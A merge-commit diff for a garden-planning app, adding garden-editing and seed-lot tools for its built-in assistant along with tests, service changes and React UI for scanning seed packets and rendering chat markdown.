Merge pull request 'Let plop notes be written from the UI (#85 item 5)' (#123) from feat/plop-journal-notes into main

- The "add note" affordance no longer hides from viewers (it claimed
  parity with the bed inspector but gated on !readOnly). A viewer now sees
  "📓 Notes about this plant" and can open the plop's journal to read it;
  the composer stays edit-gated, so they can't write. Real parity now.
- onScopePlantingChange is required, matching onScopeChange (its bed twin),
  so a caller can't pass a plop scope with no way to clear it. Dropped the
  now-dead guard on the "Show all" button.
- Pulled the plop-over-bed scope-label priority into one `scopeLabel`,
  shared by the filter's sibling logic and the composer, so they can't
  drift; trimmed the invariant comment that was restated a third time.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ

internal/agent/tools.go

@@ -64,6 +64,40 @@ func NewToolbox(svc *service.Service, actorID int64) *llm.Toolbox {
 				"(\"powdery mildew on the west bed\", \"first frost\"), not for descriptions of what a "+
 				"thing is. observedAt defaults to today; set it to backdate.",
 			a.addJournalEntry),
+		llm.DefineTool("read_journal",
+			"Read back the garden's grow journal — the observations add_journal_entry wrote. "+
+				"Narrow it with objectId (one bed), or a from/to date range (YYYY-MM-DD). Most "+
+				"recently observed first. Use this to answer \"what did I note about the west bed?\" "+
+				"or \"what happened last spring?\".",
+			a.readJournal),
+		llm.DefineTool("update_object",
+			"Change an existing object: resize it (widthCm/heightCm), rotate it (rotationDeg), "+
+				"rename it (name), or toggle whether it can hold plants (plantable). Only the fields "+
+				"you pass change. Needs the object's current version from describe_garden. Example: "+
+				"\"make that bed 60cm wider\" — read its widthCm from describe_garden, add 60, pass the "+
+				"sum.",
+			a.updateObject),
+		llm.DefineTool("delete_object",
+			"Delete an object from a garden entirely, along with its plantings. This is the "+
+				"counterpart to create_object — use it for \"remove the old grow bag\". Permanent (not "+
+				"the same as clearing a bed's plants); prefer clear_object when the bed itself stays.",
+			a.deleteObject),
+		llm.DefineTool("remove_planting",
+			"Remove ONE plop from a bed, leaving the rest — the single-plant answer to clear_object's "+
+				"all-or-nothing. Soft-removes it (kept for planting history, undoable), like clearing a "+
+				"bed does. Needs the plop's id and version from describe_garden. Use for \"pull the "+
+				"basil out of the corner\".",
+			a.removePlanting),
+		llm.DefineTool("list_seed_lots",
+			"List the seed lots (purchases) the user has recorded — vendor, quantity, and what's "+
+				"left — optionally for one plant via plantId. This is the detail behind the \"seed "+
+				"remaining\" number find_plant reports.",
+			a.listSeedLots),
+		llm.DefineTool("record_seed_lot",
+			"Record a seed purchase for a plant the user owns, so pansy can track how much is left. "+
+				"Get the plantId from find_plant first. quantity + unit is what was bought (e.g. 2 "+
+				"\"packets\", or 500 \"seeds\"). Use for \"I bought two packets of Cherokee Purple\".",
+			a.recordSeedLot),
 	)
 }
 
@@ -177,3 +211,80 @@ func (a *adapter) clearObject(ctx context.Context, args struct {
 	}
 	return map[string]int{"cleared": n}, nil
 }
+
+func (a *adapter) readJournal(ctx context.Context, args struct {
+	GardenID int64  `json:"gardenId" description:"garden whose journal to read"`
+	ObjectID *int64 `json:"objectId" description:"optional bed to narrow to; omit for the whole garden"`
+	From     string `json:"from" description:"optional earliest observed date, YYYY-MM-DD"`
+	To       string `json:"to" description:"optional latest observed date, YYYY-MM-DD"`
+	Offset   int    `json:"offset" description:"how many entries to skip; pass the count you've already seen to page when hasMore is true"`
+}) (any, error) {
+	q := service.JournalQuery{ObjectID: args.ObjectID, Limit: 50, Offset: args.Offset}
+	if args.From != "" {
+		q.From = &args.From
+	}
+	if args.To != "" {
+		q.To = &args.To
+	}
+	entries, hasMore, err := a.svc.ListJournal(ctx, a.actor, args.GardenID, q)
+	if err != nil {
+		return nil, err
+	}
+	// hasMore is actionable now: re-call with offset += len(entries) to page.
+	return map[string]any{"entries": entries, "hasMore": hasMore}, nil
+}
+
+func (a *adapter) updateObject(ctx context.Context, args struct {
+	ObjectID    int64    `json:"objectId" description:"object to change"`
+	Version     int64    `json:"version" description:"the object's current version (from describe_garden)"`
+	Name        *string  `json:"name" description:"optional new label"`
+	WidthCM     *float64 `json:"widthCm" description:"optional new width in cm (a circle's diameter)"`
+	HeightCM    *float64 `json:"heightCm" description:"optional new height in cm"`
+	RotationDeg *float64 `json:"rotationDeg" description:"optional new rotation in degrees"`
+	Plantable   *bool    `json:"plantable" description:"optional: whether the object can hold plants"`
+}) (any, error) {
+	return a.svc.UpdateObject(ctx, a.actor, args.ObjectID, service.ObjectPatch{
+		Name: args.Name, WidthCM: args.WidthCM, HeightCM: args.HeightCM,
+		RotationDeg: args.RotationDeg, Plantable: args.Plantable,
+	}, args.Version)
+}
+
+func (a *adapter) deleteObject(ctx context.Context, args struct {
+	ObjectID int64 `json:"objectId" description:"object to delete (with its plantings)"`
+}) (any, error) {
+	if err := a.svc.DeleteObject(ctx, a.actor, args.ObjectID); err != nil {
+		return nil, err
+	}
+	return map[string]any{"deleted": args.ObjectID}, nil
+}
+
+func (a *adapter) removePlanting(ctx context.Context, args struct {
+	PlantingID int64 `json:"plantingId" description:"plop to remove (its id from describe_garden)"`
+	Version    int64 `json:"version" description:"the plop's current version (from describe_garden)"`
+}) (any, error) {
+	// Soft-remove via the service, so removed_at is stamped from the same
+	// (injectable) clock clear_object uses rather than the adapter's wall clock.
+	return a.svc.RemovePlanting(ctx, a.actor, args.PlantingID, args.Version)
+}
+
+func (a *adapter) listSeedLots(ctx context.Context, args struct {
+	PlantID *int64 `json:"plantId" description:"optional: only lots for this plant"`
+}) (any, error) {
+	return a.svc.ListSeedLots(ctx, a.actor, args.PlantID)
+}
+
+func (a *adapter) recordSeedLot(ctx context.Context, args struct {
+	PlantID       int64   `json:"plantId" description:"plant the seed is for (from find_plant); must be the user's own or a built-in"`
+	Quantity      float64 `json:"quantity" description:"how much was bought, in the given unit"`
+	Unit          string  `json:"unit" description:"what quantity counts, e.g. packets | seeds | grams"`
+	Vendor        string  `json:"vendor" description:"optional vendor name"`
+	SourceURL     string  `json:"sourceUrl" description:"optional http(s) link to where it was bought"`
+	PackedForYear *int    `json:"packedForYear" description:"optional 'packed for' year from the packet"`
+	Notes         string  `json:"notes" description:"optional free-text notes"`
+}) (any, error) {
+	return a.svc.CreateSeedLot(ctx, a.actor, service.SeedLotInput{
+		PlantID: args.PlantID, Quantity: args.Quantity, Unit: args.Unit,
+		Vendor: args.Vendor, SourceURL: args.SourceURL,
+		PackedForYear: args.PackedForYear, Notes: args.Notes,
+	})
+}

internal/agent/tools_test.go

@@ -347,6 +347,127 @@ func TestJournalToolWritesADatedObservation(t *testing.T) {
 	}
 }
 
+// TestCorrectiveTools covers the #85 gaps: the agent can now read the journal it
+// could only write, resize and delete an object it could only create and move,
+// pull a single plop instead of clearing the whole bed, and record/read seed
+// lots. Each is driven through the tool layer the way a model would run it.
+func TestCorrectiveTools(t *testing.T) {
+	ctx := context.Background()
+	svc, owner := newAgentTestService(t)
+	box := NewToolbox(svc, owner)
+
+	var gid int64 // set once the garden exists; the describe closure reads it.
+	call := func(name string, args any) llm.ToolResult {
+		t.Helper()
+		return box.Execute(ctx, llm.ToolCall{ID: "1", Name: name, Arguments: mustJSON(t, args)})
+	}
+	describe := func() service.DescribeResult {
+		t.Helper()
+		res := call("describe_garden", map[string]any{"gardenId": gid})
+		if res.IsError {
+			t.Fatalf("describe_garden: %s", res.Content)
+		}
+		var d service.DescribeResult
+		if err := json.Unmarshal([]byte(res.Content), &d); err != nil {
+			t.Fatalf("decode describe: %v", err)
+		}
+		return d
+	}
+
+	g, err := svc.CreateGarden(ctx, owner, service.GardenInput{Name: "Plot", WidthCM: 2000, HeightCM: 2000})
+	if err != nil {
+		t.Fatalf("garden: %v", err)
+	}
+	gid = g.ID
+	basil := mustPlant(t, svc, owner, "Basil", 25, "🌿")
+	bed, err := svc.CreateObject(ctx, owner, g.ID, service.ObjectInput{
+		Kind: domain.KindBed, Name: "Bed", XCM: 1000, YCM: 1000, WidthCM: 400, HeightCM: 400,
+	})
+	if err != nil {
+		t.Fatalf("bed: %v", err)
+	}
+
+	// update_object: "make that bed 100cm wider" — read the version, pass a new width.
+	d := describe()
+	if r := call("update_object", map[string]any{
+		"objectId": bed.ID, "version": d.Objects[0].Version, "widthCm": 500.0,
+	}); r.IsError {
+		t.Fatalf("update_object: %s", r.Content)
+	}
+	if w := describe().Objects[0].WidthCM; w != 500 {
+		t.Errorf("width = %v after update_object, want 500", w)
+	}
+
+	// place a plop, then remove_planting it by id+version — one plop, not the bed.
+	if r := call("place_planting", map[string]any{
+		"objectId": bed.ID, "plantId": basil.ID, "xCm": 0, "yCm": 0, "radiusCm": 30,
+	}); r.IsError {
+		t.Fatalf("place_planting: %s", r.Content)
+	}
+	d = describe()
+	if len(d.Objects[0].Plantings) != 1 {
+		t.Fatalf("want 1 plop before removal, got %d", len(d.Objects[0].Plantings))
+	}
+	plop := d.Objects[0].Plantings[0]
+	if r := call("remove_planting", map[string]any{"plantingId": plop.ID, "version": plop.Version}); r.IsError {
+		t.Fatalf("remove_planting: %s", r.Content)
+	}
+	if n := len(describe().Objects[0].Plantings); n != 0 {
+		t.Errorf("want 0 active plops after remove_planting, got %d", n)
+	}
+
+	// add then read the journal — the write/read asymmetry the issue flagged.
+	if r := call("add_journal_entry", map[string]any{
+		"gardenId": g.ID, "objectId": bed.ID, "body": "aphids", "observedAt": "2026-06-01",
+	}); r.IsError {
+		t.Fatalf("add_journal_entry: %s", r.Content)
+	}
+	res := call("read_journal", map[string]any{"gardenId": g.ID, "objectId": bed.ID})
+	if res.IsError {
+		t.Fatalf("read_journal: %s", res.Content)
+	}
+	var jr struct {
+		Entries []struct {
+			Body string `json:"body"`
+		} `json:"entries"`
+	}
+	if err := json.Unmarshal([]byte(res.Content), &jr); err != nil {
+		t.Fatalf("decode read_journal: %v (%s)", err, res.Content)
+	}
+	if len(jr.Entries) != 1 || jr.Entries[0].Body != "aphids" {
+		t.Errorf("read_journal = %+v, want the one aphids entry", jr.Entries)
+	}
+
+	// record then list a seed lot — the detail behind find_plant's "remaining".
+	if r := call("record_seed_lot", map[string]any{
+		"plantId": basil.ID, "quantity": 2.0, "unit": "packets", "vendor": "Johnny's",
+	}); r.IsError {
+		t.Fatalf("record_seed_lot: %s", r.Content)
+	}
+	res = call("list_seed_lots", map[string]any{"plantId": basil.ID})
+	if res.IsError {
+		t.Fatalf("list_seed_lots: %s", res.Content)
+	}
+	var lots []struct {
+		Quantity float64 `json:"quantity"`
+		Unit     string  `json:"unit"`
+	}
+	if err := json.Unmarshal([]byte(res.Content), &lots); err != nil {
+		t.Fatalf("decode list_seed_lots: %v (%s)", err, res.Content)
+	}
+	if len(lots) != 1 || lots[0].Quantity != 2 || lots[0].Unit != "packets" {
+		t.Errorf("list_seed_lots = %+v, want one lot of 2 packets", lots)
+	}
+
+	// delete_object: the counterpart to create_object.
+	if r := call("delete_object", map[string]any{"objectId": bed.ID}); r.IsError {
+		t.Fatalf("delete_object: %s", r.Content)
+	}
+	if n := len(describe().Objects); n != 0 {
+		t.Errorf("want 0 objects after delete_object, got %d", n)
+	}
+}
+
 // newAgentTestService spins up an in-memory pansy with one registered user.
 func newAgentTestService(t *testing.T) (*service.Service, int64) {
 	t.Helper()

internal/service/ops.go

@@ -471,7 +471,11 @@ type DescribeObject struct {
 }
 
 // DescribePlanting is one plop with a rough compass location, for DescribeResult.
+// ID + Version are included so an agent can address a single plop — remove it or
+// move it — the same way DescribeObject.Version lets it edit an object.
 type DescribePlanting struct {
+	ID       int64   `json:"id"`
+	Version  int64   `json:"version"`
 	PlantID  int64   `json:"plantId"`
 	Plant    string  `json:"plant"`
 	Count    int     `json:"count"`
@@ -518,6 +522,8 @@ func (s *Service) DescribeGarden(ctx context.Context, actorID, gardenID int64) (
 				count = *pl.Count
 			}
 			do.Plantings = append(do.Plantings, DescribePlanting{
+				ID:       pl.ID,
+				Version:  pl.Version,
 				PlantID:  pl.PlantID,
 				Plant:    plantByID[pl.PlantID].Name,
 				Count:    count,

internal/service/plantings.go

@@ -178,6 +178,17 @@ func (s *Service) UpdatePlanting(ctx context.Context, actorID, plantingID int64,
 	return updated, nil
 }
 
+// RemovePlanting soft-removes a single plop — the one-plop counterpart to
+// ClearObject, used by the agent's remove_planting tool. It stamps removed_at
+// from the service clock (s.now()), same as ClearObject and the fill path, so the
+// removal date can't diverge by which caller set it; then delegates to
+// UpdatePlanting for the editor-role check, version guard and history record.
+func (s *Service) RemovePlanting(ctx context.Context, actorID, plantingID, version int64) (*domain.Planting, error) {
+	today := s.now().UTC().Format(dateLayout)
+	return s.UpdatePlanting(ctx, actorID, plantingID,
+		PlantingPatch{SetRemovedAt: true, RemovedAt: &today}, version)
+}
+
 // plantingEditSummary describes a plop edit for the history list. Soft-removal
 // ("clear bed", harvested) is the one edit worth naming specifically — it reads
 // as a removal to the person who did it, not as an edit.

web/package.json

@@ -22,6 +22,8 @@
     "clsx": "^2.1.1",
     "react": "^19.0.0",
     "react-dom": "^19.0.0",
+    "react-markdown": "^9.1.0",
+    "remark-gfm": "^4.0.1",
     "tailwind-merge": "^2.6.0",
     "zod": "^3.24.1",
     "zustand": "^5.0.14"

web/src/components/layout/AppShell.tsx

@@ -43,12 +43,22 @@ export function AppShell() {
   // max-w-5xl reading measure the other pages use (#107).
   const canvasRoute = inEditor || inPublicGarden
   const showBottomNav = !!user && !canvasRoute
+  // On a phone the editor is a full-screen canvas, so the global top bar is pure
+  // chrome above the garden — hide it and let the editor's own strip carry the
+  // back link AND the account menu (so sign-out isn't lost). Editor only, not the
+  // public view, which has no strip of its own to fall back on.
+  const hideHeaderOnMobile = inEditor
 
   const visibleSections = sections.filter((s) => !s.adminOnly || user?.isAdmin)
 
   return (
     <div className="flex min-h-full flex-col">
-      <header className="sticky top-0 z-20 border-b border-border bg-surface/90 backdrop-blur">
+      <header
+        className={cn(
+          'sticky top-0 z-20 border-b border-border bg-surface/90 backdrop-blur',
+          hideHeaderOnMobile && 'hidden md:block',
+        )}
+      >
         {/* The bar matches the content width below: constrained on reading pages,
             edge-to-edge on the canvas routes so the brand aligns with the editor. */}
         <nav className={cn('flex items-center gap-4 px-4 py-3', canvasRoute ? '' : 'mx-auto max-w-5xl')}>
@@ -115,8 +125,10 @@ export function AppShell() {
 }
 
 /** Account control: a compact button that toggles a small sign-out popover. On
- *  desktop the display name shows inline; on mobile it lives inside the popover. */
-function AccountMenu({ displayName }: { displayName: string }) {
+ *  desktop the display name shows inline; on mobile it lives inside the popover.
+ *  Exported so the editor's mobile strip can carry it — the global header that
+ *  normally hosts it is hidden there (see hideHeaderOnMobile). */
+export function AccountMenu({ displayName }: { displayName: string }) {
   const logout = useLogout()
   const navigate = useNavigate()
   const [open, setOpen] = useState(false)

web/src/components/plants/ScanPacketModal.tsx

@@ -0,0 +1,432 @@
+import { useRef, useState, type ChangeEvent, type FormEvent } from 'react'
+import { Alert } from '@/components/ui/Alert'
+import { Button } from '@/components/ui/Button'
+import { Modal } from '@/components/ui/Modal'
+import { Select } from '@/components/ui/Select'
+import { TextField } from '@/components/ui/TextField'
+import { toast } from '@/components/ui/toast'
+import { PlantIcon } from '@/components/plants/PlantIcon'
+import { errorMessage } from '@/lib/api'
+import {
+  lotDefaults,
+  newPlantDefaults,
+  useCreateFromPacket,
+  useScanPacket,
+  type PacketProposal,
+} from '@/lib/seedPacket'
+import {
+  CATEGORY_LABELS,
+  PLANT_CATEGORIES,
+  type PlantCategory,
+  type PlantInput,
+} from '@/lib/plants'
+import { LOT_UNITS, type LotUnit } from '@/lib/seedLots'
+import { cmFromSpacing, spacingFromCm, spacingUnitLabel, type UnitPref } from '@/lib/units'
+
+const categoryOptions = PLANT_CATEGORIES.map((c) => ({ value: c, label: CATEGORY_LABELS[c] }))
+const unitOptions = LOT_UNITS.map((u) => ({ value: u.value, label: u.label }))
+
+// 'new' is "create a new variety"; a number selects that existing candidate plant.
+type Selection = number | 'new'
+
+/**
+ * Photograph a seed packet → an editable proposal → confirm into a plant + lot
+ * (#102). Two phases in one dialog: capture (camera/upload) then review. The
+ * review never commits blind — the model can misread, so every committed field is
+ * editable and the human picks "this is an existing plant" vs "a new variety".
+ *
+ * Only offered where `capabilities.vision` is on (the caller gates the entry
+ * point), so a scan should always be possible; a 503 is still handled in case the
+ * model is torn down between the capabilities poll and the upload.
+ */
+export function ScanPacketModal({ unit, onClose }: { unit: UnitPref; onClose: () => void }) {
+  const scan = useScanPacket()
+  const create = useCreateFromPacket()
+  const fileInput = useRef<HTMLInputElement>(null)
+  // Lets Cancel abort a slow/hung scan (the server allows up to 120s) so the
+  // dialog is never a trap the user can only escape by reloading the page.
+  const scanAbort = useRef<AbortController | null>(null)
+
+  const [proposal, setProposal] = useState<PacketProposal | null>(null)
+  const [error, setError] = useState<string | null>(null)
+
+  // Review-phase fields, seeded from the proposal when a scan lands.
+  const [selection, setSelection] = useState<Selection>('new')
+  const [name, setName] = useState('')
+  const [category, setCategory] = useState<PlantCategory>('vegetable')
+  const [spacing, setSpacing] = useState('')
+  const [days, setDays] = useState('')
+  // One vendor field: it's the packet's vendor, and feeds both the new plant (if
+  // creating one) and the lot.
+  const [vendor, setVendor] = useState('')
+  const [quantity, setQuantity] = useState('')
+  const [lotUnit, setLotUnit] = useState<LotUnit>('packets')
+  const [sku, setSku] = useState('')
+  const [lotCode, setLotCode] = useState('')
+  const [packedForYear, setPackedForYear] = useState('')
+  const [cost, setCost] = useState('')
+
+  const unitLabel = spacingUnitLabel(unit)
+  const busy = scan.isPending || create.isPending
+
+  function onFile(e: ChangeEvent<HTMLInputElement>) {
+    const file = e.target.files?.[0]
+    // Reset the input so re-picking the same file fires change again (e.g. after
+    // an error, retrying the same photo).
+    e.target.value = ''
+    if (!file) return
+    setError(null)
+    const controller = new AbortController()
+    scanAbort.current = controller
+    scan.mutate(
+      { file, signal: controller.signal },
+      {
+        onSuccess: (p) => {
+          const plant = newPlantDefaults(p)
+          const lot = lotDefaults(p.packet)
+          setProposal(p)
+          // Default to the top candidate when there is one — the likely case is
+          // the packet is a variety already in the catalog — else create a new one.
+          setSelection(p.candidates[0]?.plant.id ?? 'new')
+          setName(plant.name)
+          setCategory(plant.category)
+          setSpacing(String(spacingFromCm(plant.spacingCm, unit)))
+          setDays(plant.daysToMaturity != null ? String(plant.daysToMaturity) : '')
+          setVendor(lot.vendor)
+          setQuantity(String(lot.quantity))
+          setLotUnit(lot.unit)
+          setSku(lot.sku)
+          setLotCode(lot.lotCode)
+          setPackedForYear(lot.packedForYear != null ? String(lot.packedForYear) : '')
+          // Cost isn't on a packet, so it's the one field not reseeded from the
+          // proposal; clear it so a value typed before a Rescan doesn't linger.
+          setCost('')
+        },
+        onError: (err) => {
+          // An aborted scan is a user cancel, not a failure — and Cancel also
+          // closes the dialog, so there's nothing to report.
+          if ((err as Error)?.name === 'AbortError') return
+          setError(errorMessage(err, "Couldn't read that photo. Try a clearer, well-lit shot of the packet."))
+        },
+      },
+    )
+  }
+
+  async function onConfirm(e: FormEvent) {
+    e.preventDefault()
+    if (!proposal) return
+    setError(null)
+
+    // Lot validation mirrors SeedLotModal so the two paths accept the same things.
+    const qty = quantity.trim() === '' ? 0 : Number(quantity)
+    if (!Number.isFinite(qty) || qty < 0) {
+      setError('Quantity must be a number, or left blank.')
+      return
+    }
+    let year: number | null = null
+    if (packedForYear.trim()) {
+      const y = Number(packedForYear)
+      if (!Number.isInteger(y) || y < 1900 || y > 2200) {
+        setError('Packed-for year should be a four-digit year.')
+        return
+      }
+      year = y
+    }
+    let costCents: number | null = null
+    if (cost.trim()) {
+      const c = Number(cost)
+      if (!Number.isFinite(c) || c < 0) {
+        setError('Cost must be an amount, or left blank.')
+        return
+      }
+      costCents = Math.round(c * 100)
+    }
+
+    const lot = {
+      vendor: vendor.trim(),
+      sourceUrl: '',
+      sku: sku.trim(),
+      lotCode: lotCode.trim(),
+      purchasedAt: null,
+      packedForYear: year,
+      quantity: qty,
+      unit: lotUnit,
+      costCents,
+      germinationPct: null,
+      notes: '',
+    }
+
+    let newPlant: PlantInput | undefined
+    let plantId: number | undefined
+    if (selection === 'new') {
+      if (!name.trim()) {
+        setError('Name the new variety, or pick an existing plant above.')
+        return
+      }
+      const spacingCm = cmFromSpacing(parseFloat(spacing), unit)
+      if (!Number.isFinite(spacingCm) || spacingCm < 1) {
+        setError(`Spacing must be at least 1 ${unitLabel}.`)
+        return
+      }
+      let daysToMaturity: number | null = null
+      if (days.trim()) {
+        const d = Number(days)
+        if (!Number.isInteger(d) || d < 1) {
+          setError('Days to maturity must be a whole number of days, or left blank.')
+          return
+        }
+        daysToMaturity = d
+      }
+      newPlant = {
+        ...newPlantDefaults(proposal),
+        name: name.trim(),
+        category,
+        spacingCm,
+        daysToMaturity,
+        vendor: vendor.trim(),
+      }
+    } else {
+      plantId = selection
+    }
+
+    try {
+      const res = await create.mutateAsync({ plantId, newPlant, lot })
+      toast.info(
+        res.plantIsNew
+          ? `Added ${res.plant.name} and its seed lot.`
+          : `Recorded a seed lot for ${res.plant.name}.`,
+      )
+      onClose()
+    } catch (err) {
+      setError(errorMessage(err, 'Could not save the packet.'))
+    }
+  }
+
+  return (
+    <Modal title="Scan a seed packet" onClose={onClose} busy={busy}>
+      {!proposal ? (
+        <div className="flex flex-col gap-4">
+          <p className="text-sm text-muted">
+            Take a photo of the front of a seed packet and pansy reads the details off it — you review and
+            confirm before anything is saved.
+          </p>
+
+          {/* A hidden input is triggered by the buttons below. `capture` hints a
+              phone to open the camera; on desktop it's ignored and both buttons
+              open a file chooser. */}
+          <input
+            ref={fileInput}
+            type="file"
+            accept="image/*"
+            capture="environment"
+            onChange={onFile}
+            className="hidden"
+            aria-hidden
+            tabIndex={-1}
+          />
+
+          {scan.isPending ? (
+            <p className="flex items-center gap-2 rounded-md bg-border/40 px-3 py-2 text-sm text-muted">
+              <span className="inline-block h-2 w-2 animate-pulse rounded-full bg-accent" />
+              Reading the packet… this can take a few seconds.
+            </p>
+          ) : (
+            <Button type="button" onClick={() => fileInput.current?.click()}>
+              Take or choose a photo
+            </Button>
+          )}
+
+          {error && <Alert>{error}</Alert>}
+
+          <div className="flex justify-end">
+            {/* Not disabled while scanning — this is the way out of a slow scan.
+                Aborting a settled/absent request is a harmless no-op. */}
+            <Button
+              type="button"
+              variant="ghost"
+              onClick={() => {
+                scanAbort.current?.abort()
+                onClose()
+              }}
+            >
+              Cancel
+            </Button>
+          </div>
+        </div>
+      ) : (
+        <form onSubmit={onConfirm} className="flex flex-col gap-4">
+          <ReadFields proposal={proposal} unit={unit} />
+
+          <fieldset className="flex flex-col gap-2">
+            <legend className="text-sm font-medium text-fg">This packet is…</legend>
+            {proposal.candidates.map((c) => (
+              <label
+                key={c.plant.id}
+                className="flex cursor-pointer items-center gap-2 rounded-md border border-border px-2 py-1.5 text-sm has-[:checked]:border-accent has-[:checked]:bg-accent/10"
+              >
+                <input
+                  type="radio"
+                  name="packet-selection"
+                  checked={selection === c.plant.id}
+                  onChange={() => setSelection(c.plant.id)}
+                />
+                <PlantIcon color={c.plant.color} icon={c.plant.icon} className="h-6 w-6 rounded text-sm" />
+                <span className="flex-1 font-medium text-fg">{c.plant.name}</span>
+                <span className="text-xs text-muted">{c.reason}</span>
+              </label>
+            ))}
+            <label className="flex cursor-pointer items-center gap-2 rounded-md border border-border px-2 py-1.5 text-sm has-[:checked]:border-accent has-[:checked]:bg-accent/10">
+              <input
+                type="radio"
+                name="packet-selection"
+                checked={selection === 'new'}
+                onChange={() => setSelection('new')}
+              />
+              <span className="flex-1 font-medium text-fg">
+                {proposal.candidates.length > 0 ? 'None of these — a new variety' : 'Add as a new variety'}
+              </span>
+            </label>
+          </fieldset>
+
+          {selection === 'new' && (
+            <div className="flex flex-col gap-3 rounded-md border border-border p-3">
+              <TextField
+                label="Name"
+                name="name"
+                required
+                value={name}
+                onChange={(e) => setName(e.target.value)}
+                hint="You can set an icon and color later from the plant card."
+              />
+              <div className="grid grid-cols-2 gap-3">
+                <Select
+                  label="Category"
+                  name="category"
+                  value={category}
+                  onChange={(e) => setCategory(e.target.value as PlantCategory)}
+                  options={categoryOptions}
+                />
+                <TextField
+                  label={`Spacing (${unitLabel})`}
+                  name="spacing"
+                  type="number"
+                  inputMode="decimal"
+                  step="any"
+                  min="1"
+                  required
+                  value={spacing}
+                  onChange={(e) => setSpacing(e.target.value)}
+                />
+              </div>
+              <TextField
+                label="Days to maturity (optional)"
+                name="days"
+                type="number"
+                inputMode="numeric"
+                step="1"
+                min="1"
+                value={days}
+                onChange={(e) => setDays(e.target.value)}
+              />
+            </div>
+          )}
+
+          {/* The seed lot — what you bought — recorded against whichever plant. */}
+          <div className="flex flex-col gap-3">
+            <p className="text-sm font-medium text-fg">Seed lot</p>
+            <div className="grid grid-cols-2 gap-3">
+              <TextField
+                label="Quantity"
+                name="quantity"
+                type="number"
+                inputMode="decimal"
+                step="any"
+                min="0"
+                value={quantity}
+                onChange={(e) => setQuantity(e.target.value)}
+              />
+              <Select
+                label="Unit"
+                name="unit"
+                value={lotUnit}
+                onChange={(e) => setLotUnit(e.target.value as LotUnit)}
+                options={unitOptions}
+              />
+            </div>
+            <div className="grid grid-cols-2 gap-3">
+              <TextField label="Vendor" name="vendor" value={vendor} onChange={(e) => setVendor(e.target.value)} />
+              <TextField
+                label="Packed for"
+                name="packedForYear"
+                type="number"
+                inputMode="numeric"
+                placeholder="2026"
+                value={packedForYear}
+                onChange={(e) => setPackedForYear(e.target.value)}
+              />
+            </div>
+            <div className="grid grid-cols-2 gap-3">
+              <TextField label="SKU" name="sku" value={sku} onChange={(e) => setSku(e.target.value)} />
+              <TextField
+                label="Cost"
+                name="cost"
+                type="number"
+                inputMode="decimal"
+                step="0.01"
+                min="0"
+                placeholder="4.99"
+                value={cost}
+                onChange={(e) => setCost(e.target.value)}
+              />
+            </div>
+          </div>
+
+          {error && <Alert>{error}</Alert>}
+
+          <div className="mt-1 flex justify-between gap-2">
+            <Button
+              type="button"
+              variant="ghost"
+              onClick={() => {
+                // Clear the review-phase error too, or it would show on the
+                // capture screen we're returning to.
+                setError(null)
+                setProposal(null)
+              }}
+              disabled={busy}
+            >
+              Rescan
+            </Button>
+            <Button type="submit" disabled={busy}>
+              {create.isPending ? 'Saving…' : selection === 'new' ? 'Create plant + lot' : 'Add lot'}
+            </Button>
+          </div>
+        </form>
+      )}
+    </Modal>
+  )
+}
+
+/** A compact read-only summary of what the model pulled off the packet, so the
+ *  user can see the extraction at a glance while they confirm. Only fields that
+ *  came back are shown. */
+function ReadFields({ proposal, unit }: { proposal: PacketProposal; unit: UnitPref }) {
+  const p = proposal.packet
+  const rows: [string, string][] = []
+  if (p.species) rows.push(['Species', p.species])
+  if (p.variety) rows.push(['Variety', p.variety])
+  if (p.spacingCm != null) rows.push(['Spacing', `${spacingFromCm(p.spacingCm, unit)} ${spacingUnitLabel(unit)}`])
+  if (p.daysToMaturity != null) rows.push(['Days to maturity', String(p.daysToMaturity)])
+  if (p.seedCount != null) rows.push(['Seed count', String(p.seedCount)])
+  if (rows.length === 0) return null
+  return (
+    <dl className="grid grid-cols-[auto_1fr] gap-x-3 gap-y-1 rounded-md bg-border/30 px-3 py-2 text-sm">
+      {rows.map(([k, v]) => (
+        <div key={k} className="contents">
+          <dt className="text-muted">{k}</dt>
+          <dd className="text-fg">{v}</dd>
+        </div>
+      ))}
+    </dl>
+  )
+}

web/src/editor/ChatPanel.tsx

@@ -1,4 +1,4 @@
-import { useEffect, useRef, useState, type ReactNode } from 'react'
+import { Component, Suspense, useEffect, useRef, useState, type ReactNode } from 'react'
 import { Alert } from '@/components/ui/Alert'
 import { errorMessage } from '@/lib/api'
 import { Button } from '@/components/ui/Button'
@@ -14,8 +14,31 @@ import {
   type AgentTurn,
 } from '@/lib/agent'
 import { useUndo } from '@/lib/history'
+import { lazyPage } from '@/lib/lazyPage'
 import { UndoButton } from './UndoButton'
 
+// Lazy so the markdown renderer + its ecosystem (~150 KB) loads only when an
+// assistant message actually renders, not for everyone who opens the editor.
+// lazyPage adds the stale-chunk recovery a plain lazy() lacks — a post-deploy
+// chunk 404 would otherwise permanently break the assistant.
+const MarkdownMessage = lazyPage(() => import('./MarkdownMessage'), 'MarkdownMessage')
+
+/**
+ * Falls back to the raw message text if the markdown chunk can't load (a
+ * non-recoverable 404) or the renderer throws — a garbled reply should degrade to
+ * readable text, never take the whole editor down. Suspense handles the loading
+ * phase; this handles the failure one.
+ */
+class MarkdownBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> {
+  state = { failed: false }
+  static getDerivedStateFromError() {
+    return { failed: true }
+  }
+  render() {
+    return this.state.failed ? this.props.fallback : this.props.children
+  }
+}
+
 /**
  * Talk to the garden assistant, in the editor beside the canvas.
  *
@@ -106,8 +129,8 @@ export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: bo
                 onError: (err) => setError(errorMessage(err, "Couldn't clear the conversation.")),
               })
             }
-            disabled={clear.isPending}
-            className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
+            disabled={clear.isPending || !!pending}
+            className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40 disabled:opacity-50"
           >
             Start over
           </button>
@@ -120,7 +143,7 @@ export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: bo
         </p>
       )}
 
-      <div className="flex min-h-0 flex-1 flex-col gap-2 overflow-y-auto">
+      <div className="flex min-h-0 flex-1 flex-col gap-3 overflow-y-auto">
         {history.isPending && <p className="text-sm text-muted">Loading the conversation…</p>}
         {/* A failed load rendering as an empty thread would look like the
